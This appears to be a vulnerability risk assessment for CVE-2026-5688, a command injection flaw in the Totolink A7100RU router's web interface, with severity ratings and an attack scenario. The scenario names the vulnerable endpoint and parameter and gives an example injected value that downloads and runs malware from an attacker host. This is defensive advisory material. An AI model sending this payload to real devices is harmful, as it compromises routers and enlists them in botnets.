A7100Ru CVE-2026-5688

Real-world risk is HIGH despite moderate CVSS 7.3 score. Critical risk factors include: (1) Attack vector is network-based (AV:N) with low complexity (AC:L) requiring no authentication (PR:N) or user interaction (UI:N), making exploitation trivial for any attacker with network access to the device's web interface; (2) Publicly available exploit code exists on GitHub, lowering the skill barrier for exploitation; (3) Command injection vulnerabilities in router firmware are frequently targeted by botnet operators for device compromise and DDoS recruitment. Mitigating factors: (1) No CISA KEV listing indicates no confirmed widespread exploitation campaigns; (2) Limited impact scope (C:L/I:L/A:L) suggests partial compromise rather than full system control, though command injection typically enables privilege escalation; (3) Attack surface limited to organizations using this specific Totolink router model. The CVSS Exploit Maturity (E:P) confirms proof-of-concept code availability. SSVC framework assessment: exploitation status is POC, automatable attack (no interaction needed), technical impact is partial across CIA triad. This qualifies as a priority vulnerability for any organization using affected devices, particularly those with internet-exposed management interfaces.

An external attacker scans internet-facing IP ranges for Totolink A7100RU devices with exposed web management interfaces on port 80 or 443. Upon identifying a vulnerable device, the attacker crafts a malicious HTTP request to /cgi-bin/cstecgi.cgi targeting the setDdnsCfg function with a poisoned 'provider' parameter containing shell metacharacters and commands (e.g., provider=';wget http://attacker.com/malware -O /tmp/bot; chmod +x /tmp/bot; /tmp/bot;'). The unsanitized input executes arbitrary commands with the privileges of the web server process, allowing the attacker to download and execute botnet malware, establish persistent backdoor access, exfiltrate network configuration data including WiFi credentials, or pivot to attack other devices on the internal network. The publicly available GitHub POC (https://github.com/Litengzheng/vuldb_new/blob/main/A7100RU/vul_186/README.md) provides ready-to-use exploit code lowering technical barriers for mass exploitation campaigns.